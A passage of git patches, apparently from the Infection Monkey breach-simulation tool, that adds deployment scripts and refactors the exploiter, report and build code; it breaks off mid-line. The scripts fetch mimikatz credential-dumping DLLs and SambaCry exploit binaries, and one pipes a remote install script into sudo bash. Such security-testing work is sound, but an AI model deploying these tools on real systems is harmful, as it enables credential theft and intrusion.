+MONGO_BIN_PATH="$MONGO_PATH/bin" +ISLAND_DB_PATH="$ISLAND_PATH/db" +ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries" + +handle_error () { + echo "Fix the errors above and rerun the script" + exit 1 +} + +log_message () { + echo -e "\n\n-------------------------------------------" + echo -e "DEPLOYMENT SCRIPT: $1" + echo -e "-------------------------------------------\n" +} + +sudo -v +if [[ $? != 0 ]]; then + echo "You need root permissions for some of this script operations. Quiting." + exit 1 +fi + +if [[ ! -d ${monkey_home} ]]; then + mkdir -p ${monkey_home} +fi + +git --version &>/dev/null +git_available=$? +if [[ ${git_available} != 0 ]]; then + echo "Please install git and re-run this script" + exit 1 +fi + +log_message "Cloning files from git" +branch=${2:-"develop"} +if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned + git clone --single-branch -b $branch ${MONKEY_GIT_URL} ${monkey_home} 2>&1 || handle_error + chmod 774 -R ${monkey_home} +fi + +# Create folders +log_message "Creating island dirs under $ISLAND_PATH" +mkdir -p ${MONGO_BIN_PATH} +mkdir -p ${ISLAND_DB_PATH} +mkdir -p ${ISLAND_BINARIES_PATH} || handle_error + +python_version=`python --version 2>&1` +if [[ ${python_version} == *"command not found"* ]] || [[ ${python_version} != *"Python 2.7"* ]]; then + echo "Python 2.7 is not found or is not a default interpreter for 'python' command..." + exit 1 +fi + +log_message "Installing island requirements" +requirements="$ISLAND_PATH/requirements.txt" +python -m pip install --user -r ${requirements} || handle_error + +# Download binaries +log_message "Downloading binaries" +wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_32_BINARY_URL} +wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_64_BINARY_URL} +wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_32_BINARY_URL} +wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL} +# Allow them to be executed +chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME" +chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME" +chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_32_BINARY_NAME" +chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_64_BINARY_NAME" + +# Get machine type/kernel version +kernel=`uname -m` +linux_dist=`lsb_release -a 2> /dev/null` + +# If a user haven't installed mongo manually check if we can install it with our script +if [[ ! -f "$MONGO_BIN_PATH/mongod" ]] && { [[ ${kernel} != "x86_64" ]] || \ + { [[ ${linux_dist} != *"Debian"* ]] && [[ ${linux_dist} != *"Ubuntu"* ]]; }; }; then + echo "Script does not support your operating system for mongodb installation. + Reference monkey island readme and install it manually" + exit 1 +fi + +# Download mongo +if [[ ! -f "$MONGO_BIN_PATH/mongod" ]]; then + log_message "Downloading mongodb" + if [[ ${linux_dist} == *"Debian"* ]]; then + wget -c -N -O "/tmp/mongo.tgz" ${MONGO_DEBIAN_URL} + elif [[ ${linux_dist} == *"Ubuntu"* ]]; then + wget -c -N -O "/tmp/mongo.tgz" ${MONGO_UBUNTU_URL} + fi + tar --strip 2 --wildcards -C ${MONGO_BIN_PATH} -zxvf /tmp/mongo.tgz mongo*/bin/* || handle_error +else + log_message "Mongo db already installed" +fi + +log_message "Installing openssl" +sudo apt-get install openssl + +# Generate SSL certificate +log_message "Generating certificate" +cd ${ISLAND_PATH} || handle_error +openssl genrsa -out cc/server.key 1024 || handle_error +openssl req -new -key cc/server.key -out cc/server.csr \ +-subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" || handle_error +openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt || handle_error + + +chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error +${ISLAND_PATH}/linux/create_certificate.sh || handle_error + +# Install npm +log_message "Installing npm" +sudo apt-get install npm + +log_message "Generating front end" +cd "$ISLAND_PATH/cc/ui" || handle_error +npm update +npm run dist + +# Monkey setup +log_message "Installing monkey requirements" +sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1 +cd ${monkey_home}/monkey/infection_monkey || handle_error +python -m pip install --user -r requirements.txt || handle_error + +# Build samba +log_message "Building samba binaries" +sudo apt-get install gcc-multilib +cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner +chmod +x ./build.sh || handle_error +./build.sh + +chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh + +log_message "Deployment script finished." +exit 0 \ No newline at end of file diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1 new file mode 100644 index 000000000..c72c29b5e --- /dev/null +++ b/deployment_scripts/deploy_windows.ps1 @@ -0,0 +1,215 @@ +function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, [String] $branch = "develop"){ + # Import the config variables + . ./config.ps1 + "Config variables from config.ps1 imported" + + # If we want monkey in current dir we need to create an empty folder for source files + if ( (Join-Path $monkey_home '') -eq (Join-Path (Get-Item -Path ".\").FullName '') ){ + $monkey_home = Join-Path -Path $monkey_home -ChildPath $MONKEY_FOLDER_NAME + } + + # Set variables for script execution + [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 + $webClient = New-Object System.Net.WebClient + + # We check if git is installed + try + { + git | Out-Null -ErrorAction Stop + "Git requirement satisfied" + } + catch [System.Management.Automation.CommandNotFoundException] + { + "Please install git before running this script or add it to path and restart cmd" + return + } + + # Download the monkey + $output = cmd.exe /c "git clone --single-branch -b $branch $MONKEY_GIT_URL $monkey_home 2>&1" + $binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\bin") + if ( $output -like "*already exists and is not an empty directory.*"){ + "Assuming you already have the source directory. If not, make sure to set an empty directory as monkey's home directory." + } elseif ($output -like "fatal:*"){ + "Error while cloning monkey from the repository:" + $output + return + } else { + "Monkey cloned from the repository" + # Create bin directory + New-Item -ItemType directory -path $binDir + "Bin directory added" + } + + # We check if python is installed + try + { + $version = cmd.exe /c '"python" --version 2>&1' + if ( $version -like 'Python 2.7.*' ) { + "Python 2.7.* was found, installing dependancies" + } else { + throw System.Management.Automation.CommandNotFoundException + } + } + catch [System.Management.Automation.CommandNotFoundException] + { + "Downloading python 2.7 ..." + $webClient.DownloadFile($PYTHON_URL, $TEMP_PYTHON_INSTALLER) + Start-Process -Wait $TEMP_PYTHON_INSTALLER -ErrorAction Stop + $env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine") + Remove-Item $TEMP_PYTHON_INSTALLER + # Check if installed correctly + $version = cmd.exe /c '"python" --version 2>&1' + if ( $version -like '* is not recognized*' ) { + "Python is not found in PATH. Add it manually or reinstall python." + return + } + } + + # Set python home dir + $PYTHON_PATH = Split-Path -Path (Get-Command python | Select-Object -ExpandProperty Source) + + # Get vcforpython27 before installing requirements + "Downloading Visual C++ Compiler for Python 2.7 ..." + $webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER) + Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop + $env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine") + Remove-Item $TEMP_VC_FOR_PYTHON27_INSTALLER + + # Install requirements for island + $islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop + "Upgrading pip..." + $output = cmd.exe /c 'python -m pip install --user --upgrade pip 2>&1' + $output + if ( $output -like '*No module named pip*' ) { + "Make sure pip module is installed and re-run this script." + return + } + & python -m pip install --user -r $islandRequirements + # Install requirements for monkey + $monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements.txt" + & python -m pip install --user -r $monkeyRequirements + + # Download mongodb + if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "mongodb") )){ + "Downloading mongodb ..." + $webClient.DownloadFile($MONGODB_URL, $TEMP_MONGODB_ZIP) + "Unzipping mongodb" + Expand-Archive $TEMP_MONGODB_ZIP -DestinationPath $binDir + # Get unzipped folder's name + $mongodb_folder = Get-ChildItem -Path $binDir | Where-Object -FilterScript {($_.Name -like "mongodb*")} | Select-Object -ExpandProperty Name + # Move all files from extracted folder to mongodb folder + New-Item -ItemType directory -Path (Join-Path -Path $binDir -ChildPath "mongodb") + New-Item -ItemType directory -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "db") + "Moving extracted files" + Move-Item -Path (Join-Path -Path $binDir -ChildPath $mongodb_folder | Join-Path -ChildPath "\bin\*") -Destination (Join-Path -Path $binDir -ChildPath "mongodb\") + "Removing zip file" + Remove-Item $TEMP_MONGODB_ZIP + Remove-Item (Join-Path -Path $binDir -ChildPath $mongodb_folder) -Recurse + } + + # Download OpenSSL + "Downloading OpenSSL ..." + $webClient.DownloadFile($OPEN_SSL_URL, $TEMP_OPEN_SSL_ZIP) + "Unzipping OpenSSl" + Expand-Archive $TEMP_OPEN_SSL_ZIP -DestinationPath (Join-Path -Path $binDir -ChildPath "openssl") -ErrorAction SilentlyContinue + "Removing zip file" + Remove-Item $TEMP_OPEN_SSL_ZIP + + # Download and install C++ redistributable + "Downloading C++ redistributable ..." + $webClient.DownloadFile($CPP_URL, $TEMP_CPP_INSTALLER) + Start-Process -Wait $TEMP_CPP_INSTALLER -ErrorAction Stop + Remove-Item $TEMP_CPP_INSTALLER + + # Generate ssl certificate + "Generating ssl certificate" + Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR) + . .\windows\create_certificate.bat + Pop-Location + + # Adding binaries + "Adding binaries" + $binaries = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\binaries") + New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue + $webClient.DownloadFile($LINUX_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_32_BINARY_PATH)) + $webClient.DownloadFile($LINUX_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_64_BINARY_PATH)) + $webClient.DownloadFile($WINDOWS_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_32_BINARY_PATH)) + $webClient.DownloadFile($WINDOWS_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_64_BINARY_PATH)) + + # Check if NPM installed + "Installing npm" + try + { + $version = cmd.exe /c '"npm" --version 2>&1' + if ( $version -like "*is not recognized*"){ + throw System.Management.Automation.CommandNotFoundException + } else { + "Npm already installed" + } + } + catch [System.Management.Automation.CommandNotFoundException] + { + "Downloading npm ..." + $webClient.DownloadFile($NPM_URL, $TEMP_NPM_INSTALLER) + Start-Process -Wait $TEMP_NPM_INSTALLER + $env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine") + Remove-Item $TEMP_NPM_INSTALLER + } + + "Updating npm" + Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\ui") + & npm update + & npm run dist + Pop-Location + + # Install pywin32 + "Downloading pywin32" + $webClient.DownloadFile($PYWIN32_URL, $TEMP_PYWIN32_INSTALLER) + Start-Process -Wait $TEMP_PYWIN32_INSTALLER -ErrorAction Stop + Remove-Item $TEMP_PYWIN32_INSTALLER + + # Create infection_monkey/bin directory if not already present + $binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\bin") + New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue + + # Download upx + if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "upx.exe") )){ + "Downloading upx ..." + $webClient.DownloadFile($UPX_URL, $TEMP_UPX_ZIP) + "Unzipping upx" + Expand-Archive $TEMP_UPX_ZIP -DestinationPath $binDir -ErrorAction SilentlyContinue + Move-Item -Path (Join-Path -Path $binDir -ChildPath $UPX_FOLDER | Join-Path -ChildPath "upx.exe") -Destination $binDir + # Remove unnecessary files + Remove-Item -Recurse -Force (Join-Path -Path $binDir -ChildPath $UPX_FOLDER) + "Removing zip file" + Remove-Item $TEMP_UPX_ZIP + } + + # Download mimikatz binaries + $mk32_path = Join-Path -Path $binDir -ChildPath $MK32_DLL + if(!(Test-Path -Path $mk32_path )){ + "Downloading mimikatz 32 binary" + $webClient.DownloadFile($MK32_DLL_URL, $mk32_path) + } + $mk64_path = Join-Path -Path $binDir -ChildPath $MK64_DLL + if(!(Test-Path -Path $mk64_path )){ + "Downloading mimikatz 64 binary" + $webClient.DownloadFile($MK64_DLL_URL, $mk64_path) + } + + # Download sambacry binaries + $samba_path = Join-Path -Path $monkey_home -ChildPath $SAMBA_BINARIES_DIR + $samba32_path = Join-Path -Path $samba_path -ChildPath $SAMBA_32_BINARY_NAME + if(!(Test-Path -Path $samba32_path )){ + "Downloading sambacry 32 binary" + $webClient.DownloadFile($SAMBA_32_BINARY_URL, $samba32_path) + } + $samba64_path = Join-Path -Path $samba_path -ChildPath $SAMBA_64_BINARY_NAME + if(!(Test-Path -Path $samba64_path )){ + "Downloading sambacry 64 binary" + $webClient.DownloadFile($SAMBA_64_BINARY_URL, $samba64_path) + } + + "Script finished" + +} diff --git a/deployment_scripts/run_script.bat b/deployment_scripts/run_script.bat new file mode 100644 index 000000000..3dcd62760 --- /dev/null +++ b/deployment_scripts/run_script.bat @@ -0,0 +1,8 @@ +SET command=. .\deploy_windows.ps1; Deploy-Windows +if NOT "%~1" == "" ( + SET "command=%command% -monkey_home %~1" +) +if NOT "%~2" == "" ( + SET "command=%command% -branch %~2" +) +powershell -ExecutionPolicy ByPass -Command %command% \ No newline at end of file diff --git a/monkey/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt index c90b1f6af..66ba14992 100644 --- a/monkey/infection_monkey/readme.txt +++ b/monkey/infection_monkey/readme.txt @@ -1,4 +1,5 @@ -How to build a monkey binary from scratch. +To get development versions of Monkey Island and Monkey look into deployment scripts folder. +If you only want to monkey from scratch you may refer to the instructions below. The monkey is composed of three separate parts. * The Infection Monkey itself - PyInstaller compressed python archives diff --git a/monkey/monkey_island/readme.txt b/monkey/monkey_island/readme.txt index 8f6095c7e..64cefcd36 100644 --- a/monkey/monkey_island/readme.txt +++ b/monkey/monkey_island/readme.txt @@ -1,3 +1,6 @@ +To get development versions of Monkey Island and Monkey look into deployment scripts folder. +If you only want to run the software from source you may refer to the instructions below. + How to set up the Monkey Island server: ---------------- On Windows ----------------: From d5bfaa9ad02150ed2d0c89e64f324cec7ca66fb5 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 10 Dec 2018 14:10:35 +0200 Subject: [PATCH 25/89] Cleanup --- deployment_scripts/README.md | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md index e37c34b0e..92a2fd76e 100644 --- a/deployment_scripts/README.md +++ b/deployment_scripts/README.md @@ -1,5 +1,6 @@ # Files used to deploy development version of infection monkey -On windows:
    +## Windows + Before running the script you must have git installed.
    Cd to scripts directory and use the scripts.
    First argument is an empty directory (script can create one) and second is branch you want to clone. @@ -10,12 +11,13 @@ powershell -ExecutionPolicy ByPass -Command ". .\deploy_windows.ps1; Deploy-Wind ./run_script.bat "" "master"(Sets up master branch instead of develop in current dir) Don't forget to add python to PATH or do so while installing it via this script.
    -On Linux:
    -You must have root permissions, but don't run the script as root.
    +## Linux + +You must have root permissions, but there is no need to run the script as root.
    Launch deploy_linux.sh from scripts directory.
    First argument is an empty directory (script can create one) and second is branch you want to clone. Example usages:
    ./deploy_linux.sh (deploys under ./infection_monkey)
    ./deploy_linux.sh "/home/test/monkey" (deploys under /home/test/monkey)
    ./deploy_linux.sh "" "master" (deploys master branch in script directory)
    -./deploy_linux.sh "/home/user/new" "master" (if directory "new" is not found creates it and clones master branch into it)
    \ No newline at end of file +./deploy_linux.sh "/home/user/new" "master" (if directory "new" is not found creates it and clones master branch into it)
    From 03ad75b0432259e419d8c9926a49e07e74e1b8c9 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 11 Dec 2018 09:44:21 +0200 Subject: [PATCH 26/89] Now break the loop as soon as we encounter timeout --- monkey/infection_monkey/exploit/shellshock.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 23880589a..a98cbda50 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -210,7 +210,7 @@ class ShellShockExploiter(HostExploiter): reqs.append(requests.head(u, verify=False, timeout=TIMEOUT)) except requests.Timeout: timeout = True - continue + break if timeout: LOG.debug("Some connections timed out while sending request to potentially vulnerable urls.") valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok] From 3ca761f49217380ed29f708930b4807b96f4d1f2 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 11 Dec 2018 12:14:38 +0200 Subject: [PATCH 27/89] RCR: - started the report exporter manager singleton. - added region parsing using regex - --- monkey/common/cloud/aws.py | 14 ++++++- monkey/monkey_island/cc/services/report.py | 17 +++----- .../monkey_island/report_exporter_manager.py | 40 +++++++++++++++++++ monkey/monkey_island/requirements.txt | 3 +- 4 files changed, 60 insertions(+), 14 deletions(-) create mode 100644 monkey/monkey_island/report_exporter_manager.py diff --git a/monkey/common/cloud/aws.py b/monkey/common/cloud/aws.py index 7937815ef..401bbec40 100644 --- a/monkey/common/cloud/aws.py +++ b/monkey/common/cloud/aws.py @@ -1,3 +1,4 @@ +import re import urllib2 __author__ = 'itay.mizeretz' @@ -7,11 +8,22 @@ class AWS(object): def __init__(self): try: self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read() - self.region = urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()[:-1] + self.region = self._parse_region(urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()) except urllib2.URLError: self.instance_id = None self.region = None + @staticmethod + def _parse_region(region_url_response): + # For a list of regions: https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html + # This regex will find any AWS region format string in the response. + re_phrase = r'((?:us|eu|ap|ca|cn|sa)-[a-z]*-[0-9])' + finding = re.findall(re_phrase, region_url_response, re.IGNORECASE) + if finding: + return finding[0] + else: + return None + def get_instance_id(self): return self.instance_id diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index bd03fb78c..8f72e1b17 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -8,7 +8,6 @@ from enum import Enum from six import text_type from cc.database import mongo -from cc.environment.environment import load_env_from_file, AWS from cc.resources.aws_exporter import AWSExporter from cc.services.config import ConfigService from cc.services.edge import EdgeService @@ -677,9 +676,7 @@ class ReportService: @staticmethod def is_report_generated(): generated_report = mongo.db.report.find_one({}) - if generated_report is None: - return False - return True + return generated_report is not None @staticmethod def generate_report(): @@ -734,6 +731,10 @@ class ReportService: @staticmethod def is_latest_report_exists(): + """ + This function checks if a monkey report was already generated and if it's the latest one. + :return: True if report is the latest one, False if there isn't a report or its not the latest. + """ latest_report_doc = mongo.db.report.find_one({}, {'meta.latest_monkey_modifytime': 1}) if latest_report_doc: @@ -755,14 +756,6 @@ class ReportService: {'exploits': {'$elemMatch': {'exploiter': exploit_type, 'result': True}}}, limit=1) > 0 - @staticmethod - def get_active_exporters(): - # This function should be in another module in charge of building a list of active exporters - exporters_list = [] - if str(load_env_from_file()) == AWS: - exporters_list.append(AWSExporter) - return exporters_list - @staticmethod def export_to_exporters(report): for exporter in ReportService.get_active_exporters(): diff --git a/monkey/monkey_island/report_exporter_manager.py b/monkey/monkey_island/report_exporter_manager.py new file mode 100644 index 000000000..7e9afc8a9 --- /dev/null +++ b/monkey/monkey_island/report_exporter_manager.py @@ -0,0 +1,40 @@ +from cc.environment.environment import load_env_from_file, AWS +from cc.resources.aws_exporter import AWSExporter +import logging + +logger = logging.getLogger(__name__) + + +class Borg: + _shared_state = {} + + def __init__(self): + self.__dict__ = self._shared_state + + +class ReportExporterManager(Borg): + def __init__(self): + Borg.__init__(self) + self._exporters_list = [] + self._init_exporters() + + def get_exporters_list(self): + return self._exporters_list + + def _init_exporters(self): + self._init_aws_exporter() + + def _init_aws_exporter(self): + if str(load_env_from_file()) == AWS: + self._exporters_list.append(AWSExporter) + + def export(self): + try: + for exporter in self._exporters_list: + exporter().handle_report() + except Exception as e: + logger.exception('Failed to export report') + +if __name__ == '__main__': + print ReportExporterManager().get_exporters_list() + print ReportExporterManager().get_exporters_list() diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index f094df947..858642d19 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -14,4 +14,5 @@ netifaces ipaddress enum34 PyCrypto -boto3 \ No newline at end of file +boto3 +awscli \ No newline at end of file From eff2c0d2447d87351354fc2cbd7b4dcebba160ae Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 11 Dec 2018 17:07:45 +0200 Subject: [PATCH 28/89] Node updates and pip installation added --- deployment_scripts/deploy_linux.sh | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 01a4f4780..c9bb7c176 100644 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -62,6 +62,12 @@ if [[ ${python_version} == *"command not found"* ]] || [[ ${python_version} != * exit 1 fi +log_message "Updating package list" +sudo apt-get update + +log_message "Installing pip" +sudo apt-get install python-pip + log_message "Installing island requirements" requirements="$ISLAND_PATH/requirements.txt" python -m pip install --user -r ${requirements} || handle_error @@ -122,6 +128,11 @@ ${ISLAND_PATH}/linux/create_certificate.sh || handle_error log_message "Installing npm" sudo apt-get install npm +# Update node +log_message "Updating node" +curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash - +sudo apt-get install -y nodejs + log_message "Generating front end" cd "$ISLAND_PATH/cc/ui" || handle_error npm update From 8d50b5d02cbb09794cb5e24ca148af0e66e36cb6 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 16 Dec 2018 13:38:44 +0200 Subject: [PATCH 29/89] merge spec files --- monkey/infection_monkey/build_linux.sh | 2 +- monkey/infection_monkey/monkey-linux.spec | 32 ------ monkey/infection_monkey/monkey.spec | 133 +++++++++++++++++----- 3 files changed, 105 insertions(+), 62 deletions(-) delete mode 100644 monkey/infection_monkey/monkey-linux.spec diff --git a/monkey/infection_monkey/build_linux.sh b/monkey/infection_monkey/build_linux.sh index c05c2891c..fcaf4c75d 100644 --- a/monkey/infection_monkey/build_linux.sh +++ b/monkey/infection_monkey/build_linux.sh @@ -1,2 +1,2 @@ #!/bin/bash -pyinstaller --clean monkey-linux.spec +pyinstaller -F --log-level=DEBUG --clean monkey.spec diff --git a/monkey/infection_monkey/monkey-linux.spec b/monkey/infection_monkey/monkey-linux.spec deleted file mode 100644 index 61a2725c4..000000000 --- a/monkey/infection_monkey/monkey-linux.spec +++ /dev/null @@ -1,32 +0,0 @@ -# -*- mode: python -*- - -block_cipher = None - - -a = Analysis(['main.py'], - pathex=['..'], - binaries=None, - datas=None, - hiddenimports=['_cffi_backend'], - hookspath=None, - runtime_hooks=None, - excludes=None, - win_no_prefer_redirects=None, - win_private_assemblies=None, - cipher=block_cipher) - -a.binaries += [('sc_monkey_runner32.so', './bin/sc_monkey_runner32.so', 'BINARY')] -a.binaries += [('sc_monkey_runner64.so', './bin/sc_monkey_runner64.so', 'BINARY')] - -pyz = PYZ(a.pure, a.zipped_data, - cipher=block_cipher) -exe = EXE(pyz, - a.scripts, - a.binaries, - a.zipfiles, - a.datas, - name='monkey', - debug=False, - strip=True, - upx=True, - console=True ) \ No newline at end of file diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index f539d61fa..84e6b82f0 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -2,39 +2,114 @@ import os import platform + +__author__ = 'itay.mizeretz' + +block_cipher = None + # Name of zip file in monkey. That's the name of the file in the _MEI folder MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' +def main(): + a = Analysis(['main.py'], + pathex=['..'], + hiddenimports=get_hidden_imports(), + hookspath=None, + runtime_hooks=None, + binaries=None, + datas=None, + excludes=None, + win_no_prefer_redirects=None, + win_private_assemblies=None, + cipher=block_cipher + ) + + a.binaries += get_binaries() + a.datas = process_datas(a.datas) + + pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) + exe = EXE(pyz, + a.scripts, + a.binaries, + a.zipfiles, + a.datas, + name=get_monkey_filename(), + debug=False, + strip=get_exe_strip(), + upx=True, + console=True, + icon=get_exe_icon()) + + +def is_windows(): + return platform.system().find("Windows") >= 0 + + +def is_32_bit(): + return platform.architecture()[0] == "32bit" + + +def get_bin_folder(): + return os.path.join('.', 'bin') + + +def get_bin_file_path(filename): + return os.path.join(get_bin_folder(), filename) + + +def process_datas(orig_datas): + datas = orig_datas + if is_windows(): + datas = [i for i in datas if i[0].find('Include') < 0] + datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')] + return datas + + +def get_binaries(): + binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries() + binaries += get_sc_binaries() + return binaries + + +def get_windows_only_binaries(): + binaries = [] + binaries += get_msvcr() + return binaries + + +def get_linux_only_binaries(): + binaries = [] + return binaries + + +def get_hidden_imports(): + return ['_cffi_backend', 'queue'] if is_windows() else ['_cffi_backend'] + + +def get_sc_binaries(): + return [(x, get_bin_file_path(x), 'BINARY') for x in ['sc_monkey_runner32.so', 'sc_monkey_runner64.so']] + + +def get_msvcr(): + return [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')] + + +def get_monkey_filename(): + return 'monkey.exe' if is_windows() else 'monkey' + + +def get_exe_strip(): + return not is_windows() + + +def get_exe_icon(): + return 'monkey.ico' if is_windows() else None + + def get_mimikatz_zip_path(): - if platform.architecture()[0] == "32bit": - return '.\\bin\\mk32.zip' - else: - return '.\\bin\\mk64.zip' + mk_filename = 'mk32.zip' if is_32_bit() else 'mk64.zip' + return os.path.join(get_bin_folder(), mk_filename) -a = Analysis(['main.py'], - pathex=['..'], - hiddenimports=['_cffi_backend', 'queue'], - hookspath=None, - runtime_hooks=None) - -a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')] -a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')] - -if platform.system().find("Windows") >= 0: - a.datas = [i for i in a.datas if i[0].find('Include') < 0] - a.datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')] - -pyz = PYZ(a.pure) -exe = EXE(pyz, - a.scripts, - a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')], - a.zipfiles, - a.datas, - name='monkey.exe', - debug=False, - strip=None, - upx=True, - console=True, - icon='monkey.ico') +main() # We don't check if __main__ because this isn't the main script. From 0658431358d8c2b923748eb8d66b2a5c03c42df2 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 16 Dec 2018 18:15:04 +0200 Subject: [PATCH 30/89] Use carried traceroute on linux --- monkey/infection_monkey/monkey.spec | 5 ++ monkey/infection_monkey/network/tools.py | 75 +++++++++++------------- 2 files changed, 38 insertions(+), 42 deletions(-) diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index 84e6b82f0..29fe7db04 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -69,6 +69,7 @@ def process_datas(orig_datas): def get_binaries(): binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries() binaries += get_sc_binaries() + binaries += get_traceroute_binaries() return binaries @@ -95,6 +96,10 @@ def get_msvcr(): return [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')] +def get_traceroute_binaries(): + return [('traceroute', get_bin_file_path('traceroute'), 'BINARY')] + + def get_monkey_filename(): return 'monkey.exe' if is_windows() else 'monkey' diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index fa84f84fe..64cc70bb6 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -9,9 +9,12 @@ import re from six.moves import range +from infection_monkey.pyinstaller_utils import get_binary_file_path + DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 -IP_ADDR_RE = r'[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' +IP_ADDR_RE = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' +IP_ADDR_PARENT_RE = r'\(' + IP_ADDR_RE + r'\)' LOG = logging.getLogger(__name__) SLEEP_BETWEEN_POLL = 0.5 @@ -188,19 +191,8 @@ def traceroute(target_ip, ttl): return _traceroute_linux(target_ip, ttl) -def _traceroute_windows(target_ip, ttl): - """ - Traceroute for a specific IP/name - Windows implementation - """ - # we'll just use tracert because that's always there - cli = ["tracert", - "-d", - "-w", "250", - "-h", str(ttl), - target_ip] - proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) - stdout, stderr = proc_obj.communicate() - ip_lines = 